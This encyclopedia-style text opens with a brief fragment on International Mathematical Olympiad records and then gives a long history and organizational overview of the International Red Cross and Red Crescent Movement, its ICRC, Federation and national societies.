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          Bulgaria is the nation with the smallest population to have won the International Mathematics Competition and it is one of four countries (USA, China, Russia and Bulgaria) to have won the Mathematics Olympics by having all of its team members finish with gold medals (in 2003). Other teams that won IMO and had all members receive gold medals are China 8 times (1992, 1993, 1997, 2000, 2001, 2002, 2004, 2006) and Russia (2002). The only country to have its entire team score perfectly on the IMO was the United States, which won IMO 1994 when it accomplished this. This accomplishment has never been repeated and earned a mention in TIME Magazine. Hungary won IMO 1975 in an unorthodox way when none of the eight team members received a gold medal (five silver, three bronze). Second place team East Germany also did not have a single gold medal winner (four silver, four bronze).


          Several individuals have consistently scored highly and/or earned medals on the IMO: Reid Barton (USA) was the first participant to win a gold medal four times (1998, 1999, 2000, 2001). Barton is also one of only seven four-time Putnam Fellow (2001, 2002, 2003, 2004). In addition, he is the only person to have won both the IMO and the International Olympiad in Informatics (IOI). Christian Reiher (Germany) is the only other participant to have won four gold medals (2000, 2001, 2002, 2003); Reiher also received a bronze medal (1999). Wolfgang Burmeister ( East Germany), Martin Harterich ( West Germany) and Iurie Boreico (Moldova) are the only other participants besides Reiher to win five Medals with at least three of them gold. Ciprian Manolescu (Romania) managed to write a perfect paper (42 points) for gold medal more times than anybody else in history of competition. He did it all three times he participated in IMO (1995, 1996, 1997). Manolescu is also a three-time Putnam Fellow (1997, 1998, 2000). Eugenia Malinnikova (USSR) is the highest-scoring female contestant in IMO history. She has 3 gold medals in IMO 1989 (41 points), IMO 1990 (42) and IMO 1991 (42), missing only 1 point in 1989 to precede Manolescu's achievement. Terence Tao (Australia) participated in IMO 1986, 1987 and 1988, winning bronze, silver and gold medals respectively. He won a gold medal at the age of thirteen in IMO 1988, becoming the youngest person to receive a gold medal. He received a Fields medal in 2006. Oleg Golberg (Russia/USA) is the only participant in IMO history to win gold medals for different countries: he won two for Russia in 2002 and 2003, then one for USA in 2004. Vladimir Drinfel'd won a gold medal with a perfect paper in 1969, representing the Soviet Union. He went on to win a Fields Medal in 1990.
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          The International Red Cross and Red Crescent Movement is an international humanitarian movement with approximately 97 million volunteers worldwide whose stated mission is to protect human life and health, to ensure respect for the human being, and to prevent and alleviate human suffering, without any discrimination based on nationality, race, religious beliefs, class or political opinions.


          The often-heard term International Red Cross is actually a misnomer, as no official organization as such exists bearing that name. In reality, the movement consists of several distinct organizations that are legally independent from each other, but are united within the Movement through common basic principles, objectives, symbols, statutes, and governing organs. The Movement's parts:


          
            	The International Committee of the Red Cross (ICRC) is a private humanitarian institution founded in 1863 in Geneva, Switzerland. Its 25-member committee has a unique authority under international humanitarian law to protect the life and dignity of the victims of international and internal armed conflicts.

          


          
            	The International Federation of Red Cross and Red Crescent Societies (IFRC) was founded in 1919 and today it coordinates activities between the 186 National Red Cross and Red Crescent Societies within the Movement. On an international level, the Federation leads and organizes, in close cooperation with the National Societies, relief assistance missions responding to large-scale emergencies. The International Federation Secretariat is based in Geneva, Switzerland.

          


          
            	National Red Cross and Red Crescent Societies exist in nearly every country in the world. Currently 186 National Societies are recognized by the ICRC and admitted as full members of the Federation. Each entity works in its home country according to the principles of international humanitarian law and the statutes of the international Movement. Depending on their specific circumstances and capacities, National Societies can take on additional humanitarian tasks that are not directly defined by international humanitarian law or the mandates of the international Movement.

          


          


          History of the Movement


          


          The International Committee of the Red Cross


          


          Solferino, Henry Dunant and the foundation of the ICRC
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          Up until the middle of the 19th century, there were no organized and well-established army nursing systems for casualties and no safe and protected institutions to accommodate and treat those who were wounded on the battlefield. In June 1859, the Swiss businessman Henry Dunant traveled to Italy to meet French emperor Napolon III with the intention of discussing difficulties in conducting business in Algeria, at that time occupied by France. When he arrived in the small town of Solferino on the evening of June 24, he witnessed the Battle of Solferino, an engagement in the Austro-Sardinian War. In a single day, about 40,000 soldiers on both sides died or were left wounded on the field. Henry Dunant was shocked by the terrible aftermath of the battle, the suffering of the wounded soldiers, and the near-total lack of medical attendance and basic care. He completely abandoned the original intent of his trip and for several days he devoted himself to helping with the treatment and care for the wounded. He succeeded in organizing an overwhelming level of relief assistance by motivating the local population to aid without discrimination. Back in his home in Geneva, he decided to write a book entitled A Memory of Solferino which he published with his own money in 1862. He sent copies of the book to leading political and military figures throughout Europe. In addition to penning a vivid description of his experiences in Solferino in 1859, he explicitly advocated the formation of national voluntary relief organizations to help nurse wounded soldiers in the case of war. In addition, he called for the development of international treaties to guarantee the neutrality and protection of those wounded on the battlefield as well as medics and field hospitals.
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          On February 9, 1863 in Geneva, Henry Dunant founded the "Committee of the Five" (together with four other leading figures from well-known Geneva families) as an investigatory commission of the Geneva Society for Public Welfare. Their aim was to examine the feasibility of Dunant's ideas and to organize an international conference about their possible implementation. The members of this committee, aside from Dunant himself, were Gustave Moynier, lawyer and chairman of the Geneva Society for Public Welfare; physician Louis Appia, who had significant experience working as a field surgeon; Appia's friend and colleague Thodore Maunoir, from the Geneva Hygiene and Health Commission; and Guillaume-Henri Dufour, a Swiss Army general of great renown. Eight days later, the five men decided to rename the committee to the "International Committee for Relief to the Wounded". In October (26-29) 1863, the international conference organized by the committee was held in Geneva to develop possible measures to improve medical services on the battle field. The conference was attended by 36 individuals: eighteen official delegates from national governments, six delegates from other non-governmental organizations, seven non-official foreign delegates, and the five members of the International Committee. The states and kingdoms represented by official delegates were Baden, Bavaria, France, the United Kingdom of Great Britain and Ireland, Hanover, Hesse, Italy, the Netherlands, Austria, Prussia, Russia, Saxony, Sweden, and Spain. Among the proposals written in the final resolutions of the conference, adopted on October 29, 1863, were:


          
            	The foundation of national relief societies for wounded soldiers;


            	Neutrality and protection for wounded soldiers;


            	The utilization of volunteer forces for relief assistance on the battlefield;


            	The organization of additional conferences to enact these concepts in legally binding international treaties; and


            	The introduction of a common distinctive protection symbol for medical personnel in the field, namely a white armlet bearing a red cross.
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          Only one year later, the Swiss government invited the governments of all European countries, as well as the United States, Brazil, and Mexico, to attend an official diplomatic conference. Sixteen countries sent a total of twenty-six delegates to Geneva. On August 22, 1864, the conference adopted the first Geneva Convention "for the Amelioration of the Condition of the Wounded in Armies in the Field". Representatives of 12 states and kingdoms signed the convention: Baden, Belgium, Denmark, France, Hesse, Italy, the Netherlands, Portugal, Prussia, Switzerland, Spain, and Wrttemberg. The convention contained ten articles, establishing for the first time legally binding rules guaranteeing neutrality and protection for wounded soldiers, field medical personnel, and specific humanitarian institutions in an armed conflict. Furthermore, the convention defined two specific requirements for recognition of a national relief society by the International Committee:


          
            	The national society must be recognized by its own national government as a relief society according to the convention, and


            	The national government of the respective country must be a state party to the Geneva Convention.

          


          Directly following the establishment of the Geneva Convention, the first national societies were founded in Belgium, Denmark, France, Oldenburg, Prussia, Spain, and Wrttemberg. Also in 1864, Louis Appia and Charles van de Velde, a captain of the Dutch Army, became the first independent and neutral delegates to work under the symbol of the Red Cross in an armed conflict. Three years later in 1867, the first International Conference of National Aid Societies for the Nursing of the War Wounded was convened.


          Also in 1867, Henry Dunant was forced to declare bankruptcy due to business failures in Algeria, partly because he had neglected his business interests during his tireless activities for the International Committee. Controversy surrounding Dunant's business dealings and the resulting negative public opinion, combined with an ongoing conflict with Gustave Moynier, led to Dunant's expulsion from his position as a member and secretary. He was charged with fraudulent bankruptcy and a warrant for his arrest was issued. Thus, he was forced to leave Geneva and never returned to his home city. In the following years, national societies were founded in nearly every country in Europe. In 1876, the committee adopted the name "International Committee of the Red Cross" (ICRC), which is still its official designation today. Five years later, the American Red Cross was founded through the efforts of Clara Barton. More and more countries signed the Geneva Convention and began to respect it in practice during armed conflicts. In a rather short period of time, the Red Cross gained huge momentum as an internationally respected movement, and the national societies became increasingly popular as a venue for volunteer work.


          When the first Nobel Peace Prize was awarded in 1901, the Norwegian Nobel Committee opted to give it jointly to Henry Dunant and Frdric Passy, a leading international pacifist. More significant than the honour of the prize itself, the official congratulation from the International Committee of the Red Cross marked the overdue rehabilitation of Henry Dunant and represented a tribute to his key role in the formation of the Red Cross. Dunant died nine years later in the small Swiss health resort of Heiden. Only two months earlier his long-standing adversary Gustave Moynier had also died, leaving a mark in the history of the Committee as its longest-serving president ever.


          In 1906, the 1864 Geneva Convention was revised for the first time. One year later, the Hague Convention X, adopted at the Second International Peace Conference in The Hague, extended the scope of the Geneva Convention to naval warfare. Shortly before the beginning of the First World War in 1914, 50 years after the foundation of the ICRC and the adoption of the first Geneva Convention, there were already 45 national relief societies throughout the world. The movement had extended itself beyond Europe and North America to Central and South America (Argentina, Brazil, Chile, Cuba, Mexico, Peru, El Salvador, Uruguay, Venezuela), Asia (the Republic of China, Japan, Korea, Siam), and Africa (Republic of South Africa).


          


          The ICRC during World War I
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          With the outbreak of World War I, the ICRC found itself confronted with enormous challenges which it could only handle by working closely with the national Red Cross societies. Red Cross nurses from around the world, including the United States and Japan, came to support the medical services of the armed forces of the European countries involved in the war. On October 15, 1914, immediately after the start of the war, the ICRC set up its International Prisoners-of-War ( POW) Agency, which had about 1,200 mostly volunteer staff members by the end of 1914. By the end of the war, the Agency had transferred about 20 million letters and messages, 1.9 million parcels, and about 18 million Swiss francs in monetary donations to POWs of all affected countries. Furthermore, due to the intervention of the Agency, about 200,000 prisoners were exchanged between the warring parties, released from captivity and returned to their home country. The organizational card index of the Agency accumulated about 7 million records from 1914 to 1923, each card representing an individual prisoner or missing person. The card index led to the identification of about 2 million POWs and the ability to contact their families. The complete index is on loan today from the ICRC to the International Red Cross and Red Crescent Museum in Geneva. The right to access the index is still strictly restricted to the ICRC.


          During the entire war, the ICRC monitored warring parties compliance with the Geneva Conventions of the 1907 revision and forwarded complaints about violations to the respective country. When chemical weapons were used in this war for the first time in history, the ICRC vigorously protested against this new type of warfare. Even without having a mandate from the Geneva Conventions, the ICRC tried to ameliorate the suffering of civil populations. In territories that were officially designated as "occupied territories," the ICRC could assist the civilian population on the basis of the Hague Convention's "Laws and Customs of War on Land" of 1907. This convention was also the legal basis for the ICRC's work for prisoners of war. In addition to the work of the International Prisoner-of-War Agency as described above this included inspection visits to POW camps. A total of 524 camps throughout Europe were visited by 41 delegates from the ICRC until the end of the war.


          Between 1916 and 1918, the ICRC published a number of postcards with scenes from the POW camps. The pictures showed the prisoners in day-to-day activities such as the distribution of letters from home. The intention of the ICRC was to provide the families of the prisoners with some hope and solace and to alleviate their uncertainties about the fate of their loved ones. After the end of the war, the ICRC organized the return of about 420,000 prisoners to their home countries. In 1920, the task of repatriation was handed over to the newly founded League of Nations, which appointed the Norwegian diplomat and scientist Fridtjof Nansen as its "High Commissioner for Repatriation of the War Prisoners." His legal mandate was later extended to support and care for war refugees and displaced persons when his office became that of the League of Nations "High Commissioner for Refugees." Nansen, who invented the Nansen passport for stateless refugees and was awarded the Nobel Peace Prize in 1922, appointed two delegates from the ICRC as his deputies.


          A year before the end of the war, the ICRC received the 1917 Nobel Peace Prize for its outstanding wartime work. It was the only Nobel Peace Prize awarded in the period from 1914 to 1918. In 1923, the Committee adopted a change in its policy regarding the selection of new members. Until then, only citizens from the city of Geneva could serve in the Committee. This limitation was expanded to include Swiss citizens. As a direct consequence of World War I, an additional protocol to the Geneva Convention was adopted in 1925 which outlawed the use of suffocating or poisonous gases and biological agents as weapons. Four years later, the original Convention was revised and the second Geneva Convention "relative to the Treatment of Prisoners of War" was established. The events of World War I and the respective activities of the ICRC significantly increased the reputation and authority of the Committee among the international community and led to an extension of its competencies.


          As early as in 1934, a draft proposal for an additional convention for the protection of the civil population during an armed conflict was adopted by the International Red Cross Conference. Unfortunately, most governments had little interest in implementing this convention, and it was thus prevented from entering into force before the beginning of World War II.


          


          The ICRC and World War II
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          The legal basis of the work of the ICRC during World War II were the Geneva Conventions in their 1929 revision. The activities of the Committee were similar to those during World War I: visiting and monitoring POW camps, organizing relief assistance for civilian populations, and administering the exchange of messages regarding prisoners and missing persons. By the end of the war, 179 delegates had conducted 12,750 visits to POW camps in 41 countries. The Central Information Agency on Prisoners-of-War (Zentralauskunftsstelle fr Kriegsgefangene) had a staff of 3,000, the card index tracking prisoners contained 45 million cards, and 120 million messages were exchanged by the Agency. One major obstacle was that the Nazi-controlled German Red Cross refused to cooperate with the Geneva statutes including blatant violations such as the deportation of Jews from Germany and the mass murders conducted in the concentration camps run by the German government. Moreover, two other main parties to the conflict, the Soviet Union and Japan, were not party to the 1929 Geneva Conventions and were not legally required to follow the rules of the conventions.


          During the war, the ICRC failed to obtain an agreement with Nazi Germany about the treatment of detainees in concentration camps, and it eventually abandoned applying pressure in order to avoid disrupting its work with POWs. The ICRC also failed to develop a response to reliable information about the extermination camps and the mass killing of European Jews. This is still considered the greatest failure of the ICRC in its history. After November 1943, the ICRC achieved permission to send parcels to concentration camp detainees with known names and locations. Because the notices of receipt for these parcels were often signed by other inmates, the ICRC managed to register the identities of about 105,000 detainees in the concentration camps and delivered about 1.1 million parcels, primarily to the camps Dachau, Buchenwald, Ravensbrck, and Sachsenhausen.
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          On March 12, 1945, ICRC president Jacob Burckhardt received a message from SS General Ernst Kaltenbrunner accepting the ICRC's demand to allow delegates to visit the concentration camps. This agreement was bound by the condition that these delegates would have to stay in the camps until the end of the war. Ten delegates, among them Louis Haefliger (Camp Mauthausen), Paul Dunant ( Camp Theresienstadt) and Victor Maurer ( Camp Dachau), accepted the assignment and visited the camps. Louis Haefliger prevented the forceful eviction or blasting of Mauthausen-Gusen by alerting American troops, thereby saving the lives of about 60,000 inmates. His actions were condemned by the ICRC because they were deemed as acting unduly on his own authority and risking the ICRC's neutrality. Only in 1990, his reputation was finally rehabilitated by ICRC president Cornelio Sommaruga.


          Another example of great humanitarian spirit was Friedrich Born (1903-1963), an ICRC delegate in Budapest who saved the lives of about 11,000 to 15,000 Jewish people in Hungary. Marcel Junod (1904-1961), a physician from Geneva, was another famous delegate during the Second World War. An account of his experiences, which included being one of the first foreigners to visit Hiroshima after the atomic bomb was dropped, can be found in the book Warrior without Weapons.


          In 1944, the ICRC received its second Nobel Peace Prize. As in World War I, it received the only Peace Prize awarded during the main period of war, 1939 to 1945. At the end of the war, the ICRC worked with national Red Cross societies to organize relief assistance to those countries most severely affected. In 1948, the Committee published a report reviewing its war-era activities from September 1, 1939 to June 30, 1947. Since January 1996, the ICRC archive for this period has been open to academic and public research.


          


          The ICRC after the Second World War
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          On August 12, 1949, further revisions to the existing two Geneva Conventions were adopted. An additional convention "for the Amelioration of the Condition of Wounded, Sick and Shipwrecked Members of Armed Forces at Sea", now called the second Geneva Convention, was brought under the Geneva Convention umbrella as a successor to the 1907 Hague Convention X. The 1929 Geneva convention "relative to the Treatment of Prisoners of War" may have been the second Geneva Convention from a historical point of view (because it was actually formulated in Geneva), but after 1949 it came to be called the third Convention because it came later chronologically than the Hague Convention. Reacting to the experience of World War II, the Fourth Geneva Convention, a new Convention "relative to the Protection of Civilian Persons in Time of War," was established. Also, the additional protocols of June 8, 1977 were intended to make the conventions apply to internal conflicts such as civil wars. Today, the four conventions and their added protocols contain more than 600 articles, a remarkable expansion when compared to the mere 10 articles in the first 1864 convention.


          In celebration of its centennial in 1963, the ICRC, together with the League of Red Cross Societies, received its third Nobel Peace Prize. Since 1993, non-Swiss individuals have been allowed to serve as Committee delegates abroad, a task which was previously restricted to Swiss citizens. Indeed, since then, the share of staff without Swiss citizenship has increased to about 35%.


          On October 16, 1990, the UN General Assembly decided to grant the ICRC observer status for its assembly sessions and sub-committee meetings, the first observer status given to a private organization. The resolution was jointly proposed by 138 member states and introduced by the Italian ambassador, Vieri Traxler, in memory of the organization's origins in the Battle of Solferino. An agreement with the Swiss government signed on March 19, 1993, affirmed the already long-standing policy of full independence of the Committee from any possible interference by Switzerland. The agreement protects the full sanctity of all ICRC property in Switzerland including its headquarters and archive, grants members and staff legal immunity, exempts the ICRC from all taxes and fees, guarantees the protected and duty-free transfer of goods, services, and money, provides the ICRC with secure communication privileges at the same level as foreign embassies, and simplifies Committee travel in and out of Switzerland.


          At the end of the Cold War, the ICRC's work actually became more dangerous. In the 1990s, more delegates lost their lives than at any point in its history, especially when working in local and internal armed conflicts. These incidents often demonstrated a lack of respect for the rules of the Geneva Conventions and their protection symbols. Among the slain delegates were:


          
            	Frdric Maurice. He died on May 19, 1992 at the age of 39, one day after a Red Cross transport he was escorting was attacked in the Bosniann city of Sarajevo.


            	Fernanda Calado (Spain), Ingeborg Foss (Norway), Nancy Malloy (Canada), Gunnhild Myklebust (Norway), Sheryl Thayer (New Zealand), and Hans Elkerbout (Netherlands). They were murdered at point-blank range while sleeping in the early hours of December 17, 1996 in the ICRC field hospital in the Chechen city of Nowije Atagi near Grozny. Their murderers have never been caught and there was no apparent motive for the killings.


            	Rita Fox (Switzerland), Vronique Saro (Democratic Republic of Congo, formerly Zaire), Julio Delgado (Colombia), Unen Ufoirworth (DR Congo), Aduwe Boboli (DR Congo), and Jean Molokabonge (DR Congo). On April 26, 2001, they were en route with two cars on a relief mission in the northeast of the Democratic Republic of Congo when they came under fatal fire from unknown attackers.


            	Ricardo Munguia (El Salvador). He was working as a water engineer in Afghanistan and travelling with local colleagues when their car on March 27, 2003 was stopped by unknown armed men. He was killed execution-style at point-blank range while his colleagues were allowed to escape. He died at the age of 39.


            	Vatche Arslanian (Canada). Since 2001, he worked as a logistics coordinator for the ICRC mission in Iraq. He died when he was travelling through Baghdad together with members of the Iraqi Red Crescent. On April 8, 2003 their car accidentally came into the cross fire of fighting in the city.


            	Nadisha Yasassri Ranmuthu (Sri Lanka). He was killed by unknown attackers on July 22, 2003 when his car was fired upon near the city of Hilla in the south of Baghdad.

          


          


          The International Federation of Red Cross and Red Crescent Societies


          


          History
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          In 1919, representatives from the national Red Cross societies of Britain, France, Italy, Japan, and the US came together in Paris to found the "League of Red Cross Societies". The original idea was Henry Davison's, then president of the American Red Cross. This move, led by the American Red Cross, expanded the international activities of the Red Cross movement beyond the strict mission of the ICRC to include relief assistance in response to emergency situations which were not caused by war (such as man-made or natural disasters). The ARC already had great disaster relief mission experience extending back to its foundation.


          The formation of the League, as an additional international Red Cross organization alongside the ICRC, was not without controversy for a number of reasons. The ICRC had, to some extent, valid concerns about a possible rivalry between both organizations. The foundation of the League was seen as an attempt to undermine the leadership position of the ICRC within the movement and to gradually transfer most of its tasks and competencies to a multilateral institution. In addition to that, all founding members of the League were national societies from countries of the Entente or from associated partners of the Entente. The original statutes of the League from May 1919 contained further regulations which gave the five founding societies a privileged status and, due to the efforts of Henry P. Davison, the right to permanently exclude the national Red Cross societies from the countries of the Central Powers, namely Germany, Austria, Hungary, Bulgaria and Turkey, and in addition to that the national Red Cross society of Russia. These rules were contrary to the Red Cross principles of universality and equality among all national societies, a situation which furthered the concerns of the ICRC.


          The first relief assistance mission organized by the League was an aid mission for the victims of a famine and subsequent typhus epidemic in Poland. Only five years after its foundation, the League had already issued 47 donation appeals for missions in 34 countries, an impressive indication of the need for this type of Red Cross work. The total sum raised by these appeals reached 685 million Swiss Francs, which were used to bring emergency supplies to the victims of famines in Russia, Germany, and Albania; earthquakes in Chile, Persia, Japan, Colombia, Ecuador, Costa Rica, and Turkey; and refugee flows in Greece and Turkey. The first large-scale disaster mission of the League came after the 1923 earthquake in Japan which killed about 200,000 people and left countless more wounded and without shelter. Due to the League's coordination, the Red Cross society of Japan received goods from its sister societies reaching a total worth of about $100 million. Another important new field initiated by the League was the creation of youth Red Cross organizations within the national societies.
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          A joint mission of the ICRC and the League in the Russian Civil War from 1917 to 1922 marked the first time the movement was involved in an internal conflict, although still without an explicit mandate from the Geneva Conventions. The League, with support from more than 25 national societies, organized assistance missions and the distribution of food and other aid goods for civil populations affected by hunger and disease. The ICRC worked with the Russian Red Cross society and later the society of the Soviet Union, constantly emphasizing the ICRC's neutrality. In 1928, the "International Council" was founded to coordinate cooperation between the ICRC and the League, a task which was later taken over by the "Standing Commission". In the same year, a common statute for the movement was adopted for the first time, defining the respective roles of the ICRC and the League within the movement.


          During the Abyssinian war between Ethiopia and Italy from 1935 to 1936, the League contributed aid supplies worth about 1.7 million Swiss Francs. Because the Italian fascist regime under Mussolini refused any cooperation with the Red Cross, these goods were delivered solely to Ethiopia. During the war, an estimated 29 people lost their lives while being under explicit protection of the Red Cross symbol, most of them due to attacks by the Italian Army. During the Civil War in Spain from 1936 to 1939 the League once again joined forces with the ICRC with the support of 41 national societies. In 1939 on the brink of the Second World War, the League relocated its headquarters from Paris to Geneva to take advantage of Swiss neutrality.
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          In 1952, the 1928 common statute of the movement was revised for the first time. Also, the period of decolonization from 1960 to 1970 was marked by a huge jump in the number of recognized national Red Cross and Red Crescent societies. By the end of the 1960's, there were more than 100 societies around the world. On December 10, 1963, the Federation and the ICRC received the Nobel Peace Prize. In 1983, the League was renamed to the "League of Red Cross and Red Crescent Societies" to reflect the growing number of national societies operating under the Red Crescent symbol. Three years later, the seven basic principles of the movement as adopted in 1965 were incorporated into its statutes. The name of the League was changed again in 1991 to its current official designation the "International Federation of Red Cross and Red Crescent Societies". In 1997, the ICRC and the Federation signed the Seville Agreement which further defined the responsibilities of both organizations within the movement. In 2004, the Federation began its largest mission to date after the tsunami disaster in South Asia. More than 40 national societies have worked with more than 22,000 volunteers to bring relief to the countless victims left without food and shelter and endangered by the risk of epidemics.


          


          Presidents of the Federation


          Since 2001, the president of the Federation has been Don Juan Manuel Surez Del Toro Rivero of Spain. The Vice presidents are currently Ren Rhinow (ex officio as president of the Swiss Red Cross society) and, representing the different core regions of the world, Bengt Westerberg (Sweden), Tadateru Konoe (Japan), Shimelis Adugna (Ethiopia) and Raymond Forde (Barbados).


          Former presidents (until 1977 titled "Chairman") have been:


          
            
              	
                
                  	1919 - 1922: Henry Davison (USA)


                  	1922 - 1935: John Barton Payne (USA)


                  	1935 - 1938: Cary Travers Grayson (USA)


                  	1938 - 1944: Norman Davis (USA)


                  	1944 - 1945: Jean de Muralt (Switzerland)


                  	1945 - 1950: Basil O'Connor (USA)

                

              

              	
                
                  	1950 - 1959: Emil Sandstrm (Sweden)


                  	1959 - 1965: John MacAulay (Canada)


                  	1965 - 1977: Jos Barroso Chvez (Mexico)


                  	1977 - 1981: Adetunji Adefarasin (Nigeria)


                  	1981 - 1987: Enrique de la Mata (Spain)


                  	1987 - 1997: Mario Enrique Villarroel Lander (Venezuela)


                  	1997 - 2000: Astrid Nklebye Heiberg (Norway)

                

              
            

          


          


          Activities


          


          Organization of the Movement
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          Altogether, there are about 97 million people worldwide who serve with the ICRC, the International Federation, and the National Societies. And there are about 300,000 total full time staff members.


          The 1965 International Conference in Vienna adopted seven basic principles which should be shared by all parts of the Movement, and they were added to the official statutes of the Movement in 1986.


          
            	Humanity


            	Impartiality


            	Neutrality


            	Independence


            	Voluntary Service


            	Unity


            	Universality

          


          The International Red Cross and Red Crescent Conference, which occurs once every four years, is the highest institutional body of the Movement. It gathers delegations from all of the national societies as well as from the ICRC, the Federation and the signatory states to the Geneva Conventions. In between the conferences, the Standing Commission acts as the supreme body and supervises implementation of and compliance with the resolutions of the conference. In addition, the Standing Commission coordinates the cooperation between the ICRC and the Federation. It consists of two representatives from the ICRC (including its president), two from the Federation (including its president), and five individuals who are elected by the International Conference. The Standing Commission convenes every six months on average. Moreover, a convention of the Council of Delegates of the Movement takes place every two years in the course of the conferences of the General Assemblies of the Federation. The Council of Delegates plans and coordinates joint activities for the Movement.


          


          Activities and Organization of the ICRC


          


          The mission of the ICRC and its responsibilities within the Movement
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          The official mission of the ICRC as an impartial, neutral, and independent organization is to stand for the protection of the life and dignity of victims of international and internal armed conflicts. According to the 1997 Seville Agreement, it is the "Lead Agency" of the Movement in conflicts. The core tasks of the Committee, which are derived from the Geneva Conventions and its own statutes, are the following:


          
            	to monitor compliance of warring parties with the Geneva Conventions


            	to organize nursing and care for those who are wounded on the battlefield


            	to supervise the treatment of prisoners of war


            	to help with the search for missing persons in an armed conflict (tracing service)


            	to organize protection and care for civil populations


            	to arbitrate between warring parties in an armed conflict

          


          


          Legal status and organization


          The ICRC is headquartered in the Swiss city of Geneva and has external offices in about 80 countries. It has about 12,000 staff members worldwide, about 800 of them working in its Geneva headquarters, 1,200 expatriates with about half of them serving as delegates managing its international missions and the other half being specialists like doctors, agronomists, engineers or interpreters, and about 10,000 members of individual national societies working on site. Contrary to popular belief, the ICRC is not a non-governmental organization in the most common sense of the term, nor is it an international organization. As it limits its members (a process called cooptation) to Swiss nationals only, it does not have a policy of open and unrestricted membership for individuals like other legally defined NGOs. The word "international" in its name does not refer to its membership but to the worldwide scope of its activities as defined by the Geneva Conventions. The ICRC has special privileges and legal immunities in many countries, based on national law in these countries or through agreements between the Committee and respective national governments. According to Swiss law, the ICRC is defined as a private association. According to its statutes it consists of 15 to 25 Swiss-citizen members, which it coopts for a period of four years. There is no limit to the number of terms an individual member can have although a three-quarters majority of all members is required for re-election after the third term.


          The leading organs of the ICRC are the Directorate and the Assembly. The Directorate is the executive body of the Committee. It consists of a General Director and five directors in the areas of "Operations", "Human Resources", "Resources and Operational Support", "Communication", and "International Law and Cooperation within the Movement". The members of the Directorate are appointed by the Assembly to serve for four years. The Assembly, consisting of all of the members of the Committee, convenes on a regular basis and is responsible for defining aims, guidelines, and strategies and for supervising the financial matters of the Committee. The president of the Assembly is also the president of the Committee as a whole. Furthermore, the Assembly elects a five member Assembly Council which has the authority to decide on behalf of the full Assembly in some matters. The Council is also responsible for organizing the Assembly meetings and for facilitating communication between the Assembly and the Directorate.


          Due to Geneva's location in the French-speaking part of Switzerland, the ICRC usually acts under its French name Comit international de la Croix-Rouge (CICR). The official symbol of the ICRC is the Red Cross on white background with the words "COMITE INTERNATIONAL GENEVE" circling the cross.


          


          Funding and financial matters


          The 2005 budget of the ICRC amounts to about 970 million Swiss Francs. Most of that money comes from Switzerland in its capacity as the depositary state of the Geneva Conventions, from national Red Cross societies, the signatory states of the Geneva Conventions, and from international organizations like the European Union. All payments to the ICRC are voluntary and are received as donations based on two types of appeals issued by the Committee: an annual Headquarters Appeal to cover its internal costs and Emergency Appeals for its individual missions. The total budget for 2005 consists of about 819.7 million Swiss Francs (85% of the total) for field work and 152.1 million Swiss Francs (15%) for internal costs. In 2005, the budget for field work increased by 8.6% and the internal budget by 1.5% compared to 2004, primarily due to above average increases in the number and scope of its missions in Africa.


          


          Activities and organization of the Federation


          


          The Mission of the Federation and its responsibilities within the Movement
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          The Federation coordinates cooperation between national Red Cross and Red Crescent societies throughout the world and supports the foundation of new national societies in countries where no official society exists. On the international stage, the Federation organizes and leads relief assistance missions after emergencies like natural disasters, manmade disasters, epidemics, mass refugee flights, and other emergencies. According to the 1997 Seville Agreement, the Federation is the Lead Agency of the Movement in any emergency situation which does not take place as part of an armed conflict. The Federation cooperates with the national societies of those countries affected - each called the Operating National Society (ONS) - as well as the national societies of other countries willing to offer assistance - called Participating National Societies (PNS). Among the 187 national societies admitted to the General Assembly of the Federation as full members or observers, about 25-30 regularly work as PNS in other countries. The most active of those are the American Red Cross, the British Red Cross, the German Red Cross, and the Red Cross societies of Sweden and Norway. Another major mission of the Federation which has gained attention in recent years is its commitment to work towards a codified, worldwide ban on the use of land mines and to bring medical, psychological, and social support for people injured by land mines.


          The tasks of the Federation can therefore be summarized as follows:


          
            	to promote humanitarian principles and values


            	to provide relief assistance in emergency situations of large magnitude


            	to support the national societies with disaster preparedness through the education of voluntary members and the provision of equipment and relief supplies


            	to support local health care projects


            	to support the national societies with youth-related activities

          


          


          Legal status and organization


          Like the ICRC, the Federation has its headquarters in Geneva. It also runs 14 permanent regional offices and has about 350 delegates in more than 60 delegations around the world. The legal basis for the work of the Federation is its constitution. The executive body of the Federation is a secretariat, led by a Secretary General. The secretariat is supported by four divisions labeled "Support Services", "National Society and Field Support", "Policy and Relations" and "Movement Cooperation". The Movement Cooperation division organizes interaction and cooperation with the ICRC. The highest body of the Federation is the General Assembly which convenes every two years with delegates from all of the national societies. Among other tasks, the General Assembly elects the Secretary General. Between the convening of General Assemblies, the Governing Board is the leading body of the Federation. It has the authority to make decisions for the Federation in a number of areas. The Governing Board consists of the president and the vice presidents of the Federation, the chairman of the Finance Commission, and twenty elected representatives from national societies. It is supported by four additional commissions: "Disaster Relief", "Youth", "Health & Community Services", and "Development".


          The symbol of the Federation is the combination of the Red Cross (left) and Red Crescent (right) on a white background (surrounded by a red rectangular frame) without any additional text.


          


          Funding and financial matters


          The main parts of the budget of the Federation are funded by contributions from the national societies which are members of the Federation and through revenues from its investments. The exact amount of contributions from each member society is established by the Finance Commission and approved by the General Assembly. Any additional funding, especially for unforeseen expenses for relief assistance missions, is raised by appeals published by the Federation and comes from voluntary donations by national societies, governments, other organizations, corporations, and individuals.


          


          National societies within the Movement


          


          Official Recognition of a national society
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          National Red Cross and Red Crescent societies exist in nearly every country in the world. Within their home country, they take on the duties and responsibilities of a national relief society as defined by International Humanitarian Law. Within the Movement, the ICRC is responsible for legally recognizing a relief society as an official national Red Cross or Red Crescent society. The exact rules for recognition are defined in the statutes of the Movement. Article 4 of these statutes contains the "Conditions for recognition of National Societies":


          
            	In order to be recognized in terms of Article 5, paragraph 2 b) as a National Society, the Society shall meet the following conditions:

          


          
            	
              
                	Be constituted on the territory of an independent State where the Geneva Convention for the Amelioration of the Condition of the Wounded and Sick in Armed Forces in the Field is in force.


                	Be the only National Red Cross or Red Crescent Society of the said State and be directed by a central body which shall alone be competent to represent it in its dealings with other components of the Movement.


                	Be duly recognized by the legal government of its country on the basis of the Geneva Conventions and of the national legislation as a voluntary aid society, auxiliary to the public authorities in the humanitarian field.


                	Have an autonomous status which allows it to operate in conformity with the Fundamental Principles of the Movement.


                	Use the name and emblem of the Red Cross or Red Crescent in conformity with the Geneva Conventions.


                	Be so organized as to be able to fulfill the tasks defined in its own statutes, including the preparation in peace time for its statutory tasks in case of armed conflict.


                	Extend its activities to the entire territory of the State.


                	Recruit its voluntary members and its staff without consideration of race, sex, class, religion or political opinions.


